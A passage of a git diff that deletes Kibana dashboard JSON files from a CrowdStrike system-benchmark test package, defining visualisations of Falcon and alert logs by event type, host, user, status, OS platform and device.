-                                },
-                                "fittingFunction": "None",
-                                "gridlinesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "labelsOrientation": {
-                                    "x": 0,
-                                    "yLeft": 0,
-                                    "yRight": 0
-                                },
-                                "layers": [
-                                    {
-                                        "accessors": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "seriesType": "area",
-                                        "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e",
-                                        "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93"
-                                    }
-                                ],
-                                "legend": {
-                                    "isVisible": true,
-                                    "position": "right"
-                                },
-                                "preferredSeriesType": "area",
-                                "tickLabelsVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
-                                },
-                                "valueLabels": "hide"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsXY"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 18,
-                    "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
-                    "w": 41,
-                    "x": 7,
-                    "y": 17
-                },
-                "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935",
-                "title": "Events over Time by Event Type",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "f19ed911-f1ce-416c-9da6-42efb356bd86",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Hostname",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.name"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "f19ed911-f1ce-416c-9da6-42efb356bd86",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.falcon"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.falcon"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "2c916dee-9123-4c38-837b-848078cac0a5"
-                                    },
-                                    {
-                                        "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                    }
-                                ],
-                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "layerType": "data"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "3bba9326-103a-4cbc-9873-a303b306bf16",
-                    "w": 21,
-                    "x": 7,
-                    "y": 35
-                },
-                "panelIndex": "3bba9326-103a-4cbc-9873-a303b306bf16",
-                "title": "Top Related Hosts",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Username",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "user.name"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "2c916dee-9123-4c38-837b-848078cac0a5"
-                                    },
-                                    {
-                                        "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                    }
-                                ],
-                                "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "layerType": "data"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "f2c81dd1-c916-4e63-8c58-53fa1e984c96",
-                    "w": 20,
-                    "x": 28,
-                    "y": 35
-                },
-                "panelIndex": "f2c81dd1-c916-4e63-8c58-53fa1e984c96",
-                "title": "Top Related Users",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "description": "",
-                    "enhancements": {}
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-                    "w": 41,
-                    "x": 7,
-                    "y": 52
-                },
-                "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-                "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-                "title": "[Crowdstrike] Newest Falcon Incidents",
-                "type": "search"
-            }
-        ],
-        "timeRestore": false,
-        "title": "[Crowdstrike] Falcon Overview",
-        "version": 2
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-01T12:27:16.734Z",
-    "id": "crowdstrike-ad80a080-821b-11ee-bae0-937af575b750",
-    "managed": false,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:af740c82-0b38-407b-bd61-d2d63b77b76e",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "3b8281fe-18b6-4215-ac47-2fa94d17fe18:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "3a6b30d6-f464-493e-8f38-1f9282906372:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "aa89195e-3589-44fa-aac8-3e0d8e27de63:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "3bba9326-103a-4cbc-9873-a303b306bf16:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "3bba9326-103a-4cbc-9873-a303b306bf16:f19ed911-f1ce-416c-9da6-42efb356bd86",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "f2c81dd1-c916-4e63-8c58-53fa1e984c96:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-            "type": "index-pattern"
-        },
-        {
-            "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750",
-            "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4",
-            "type": "search"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_c94c3167-3962-4186-b809-1f2506632789:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_fa9232f2-d8fd-4087-989d-c4be652027bb:optionsListDataView",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "controlGroup_bd86c535-6911-441c-a29d-8a48759b461f:optionsListDataView",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "dashboard",
-    "typeMigrationVersion": "10.2.0",
-    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json
deleted file mode 100644
index a3d07ab674..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json
+++ /dev/null
@@ -1,2506 +0,0 @@
-{
-    "attributes": {
-        "controlGroupInput": {
-            "chainingSystem": "HIERARCHICAL",
-            "controlStyle": "oneLine",
-            "ignoreParentSettingsJSON": {
-                "ignoreFilters": false,
-                "ignoreQuery": false,
-                "ignoreTimerange": false,
-                "ignoreValidations": false
-            },
-            "panelsJSON": {},
-            "showApplySelections": false
-        },
-        "description": "Overview of the CrowdStrike Alert Logs.",
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "field": "data_stream.dataset",
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-                            "key": "data_stream.dataset",
-                            "negate": false,
-                            "params": {
-                                "query": "crowdstrike.alert"
-                            },
-                            "type": "phrase"
-                        },
-                        "query": {
-                            "match_phrase": {
-                                "data_stream.dataset": "crowdstrike.alert"
-                            }
-                        }
-                    }
-                ],
-                "query": {
-                    "language": "kuery",
-                    "query": ""
-                }
-            }
-        },
-        "optionsJSON": {
-            "hidePanelTitles": false,
-            "syncColors": false,
-            "syncCursor": true,
-            "syncTooltips": false,
-            "useMargins": true
-        },
-        "panelsJSON": [
-            {
-                "embeddableConfig": {
-                    "enhancements": {
-                        "dynamicActions": {
-                            "events": []
-                        }
-                    },
-                    "hidePanelTitles": false,
-                    "savedVis": {
-                        "data": {
-                            "aggs": [],
-                            "searchSource": {
-                                "filter": [],
-                                "query": {
-                                    "language": "kuery",
-                                    "query": ""
-                                }
-                            }
-                        },
-                        "description": "",
-                        "id": "",
-                        "params": {
-                            "fontSize": 12,
-                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n**Alert**\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different alerts collected from the Crowdstrike Alert API.\n\n",
-                            "openLinksInNewTab": false
-                        },
-                        "title": "",
-                        "type": "markdown",
-                        "uiState": {}
-                    }
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "da4bfceb-5882-4577-9ead-316c338c7569",
-                    "w": 16,
-                    "x": 0,
-                    "y": 0
-                },
-                "panelIndex": "da4bfceb-5882-4577-9ead-316c338c7569",
-                "title": "Table of Contents",
-                "type": "visualization"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "836a096e-11de-4f16-8dc1-08de3e3a2b2f": {
-                                            "columnOrder": [
-                                                "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7",
-                                                "c04767a1-9e74-4057-a95a-0d1ccb016a67"
-                                            ],
-                                            "columns": {
-                                                "c04767a1-9e74-4057-a95a-0d1ccb016a67": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Alert Status",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "c04767a1-9e74-4057-a95a-0d1ccb016a67",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "crowdstrike.alert.status"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "836a096e-11de-4f16-8dc1-08de3e3a2b2f",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "c04767a1-9e74-4057-a95a-0d1ccb016a67"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "pie"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb",
-                    "w": 17,
-                    "x": 16,
-                    "y": 0
-                },
-                "panelIndex": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb",
-                "title": "Alert by Status [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "b4403946-8fa4-464f-b1e2-17fae6304bb5": {
-                                            "columnOrder": [
-                                                "8ad4264b-af2b-48aa-91a8-e4be5782a1c2",
-                                                "8e708f78-e313-4f7c-98dd-625bdc4ef202"
-                                            ],
-                                            "columns": {
-                                                "8ad4264b-af2b-48aa-91a8-e4be5782a1c2": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Host OS Platform",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "8e708f78-e313-4f7c-98dd-625bdc4ef202",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "host.os.platform"
-                                                },
-                                                "8e708f78-e313-4f7c-98dd-625bdc4ef202": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "b4403946-8fa4-464f-b1e2-17fae6304bb5",
-                                        "layerType": "data",
-                                        "legendDisplay": "show",
-                                        "metrics": [
-                                            "8e708f78-e313-4f7c-98dd-625bdc4ef202"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "8ad4264b-af2b-48aa-91a8-e4be5782a1c2"
-                                        ],
-                                        "truncateLegend": false
-                                    }
-                                ],
-                                "shape": "pie"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 16,
-                    "i": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc",
-                    "w": 15,
-                    "x": 33,
-                    "y": 0
-                },
-                "panelIndex": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc",
-                "title": "Alert by OS Platform [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "986a7419-3b29-4812-8f1e-8648d18ce08b": {
-                                            "columnOrder": [
-                                                "950aa189-023a-4c68-ad46-fba8eaa6dc79",
-                                                "d59a23d4-24d0-486d-8d0d-6100463dbb0c",
-                                                "029c6079-1dc5-4444-a33a-c4590403af92"
-                                            ],
-                                            "columns": {
-                                                "029c6079-1dc5-4444-a33a-c4590403af92": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "950aa189-023a-4c68-ad46-fba8eaa6dc79": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "User ID",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "029c6079-1dc5-4444-a33a-c4590403af92",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "user.id"
-                                                },
-                                                "d59a23d4-24d0-486d-8d0d-6100463dbb0c": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "User Name",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "029c6079-1dc5-4444-a33a-c4590403af92",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": false,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "user.name"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "columns": [
-                                    {
-                                        "columnId": "950aa189-023a-4c68-ad46-fba8eaa6dc79",
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "029c6079-1dc5-4444-a33a-c4590403af92",
-                                        "isTransposed": false
-                                    },
-                                    {
-                                        "columnId": "d59a23d4-24d0-486d-8d0d-6100463dbb0c",
-                                        "isTransposed": false
-                                    }
-                                ],
-                                "layerId": "986a7419-3b29-4812-8f1e-8648d18ce08b",
-                                "layerType": "data"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsDatatable"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 15,
-                    "i": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8",
-                    "w": 24,
-                    "x": 0,
-                    "y": 16
-                },
-                "panelIndex": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8",
-                "title": "User with Highest Alert [Logs CrowdStrike]",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "description": "",
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "82644959-ef2b-4640-a0ca-d45036d96764",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1": {
-                                            "columnOrder": [
-                                                "fe77febc-cfff-4f08-8c45-2d88cce7d7e8",
-                                                "1b066652-7743-4ca9-aea2-579f2a9ddd34"
-                                            ],
-                                            "columns": {
-                                                "1b066652-7743-4ca9-aea2-579f2a9ddd34": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": false
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                },
-                                                "fe77febc-cfff-4f08-8c45-2d88cce7d7e8": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Device ID",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "1b066652-7743-4ca9-aea2-579f2a9ddd34",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "device.id"
-                                                }
-                                            },
-                                            "ignoreGlobalFilters": false,
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "indexpattern": {
-                                    "layers": {}
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "field": "data_stream.dataset",
-                                        "index": "82644959-ef2b-4640-a0ca-d45036d96764",
-                                        "key": "data_stream.dataset",
-                                        "negate": false,
-                                        "params": {
-                                            "query": "crowdstrike.alert"
-                                        },
-                                        "type": "phrase"
-                                    },
-                                    "query": {
-                                        "match_phrase": {
-                                            "data_stream.dataset": "crowdstrike.alert"
-                                        }
-                                    }
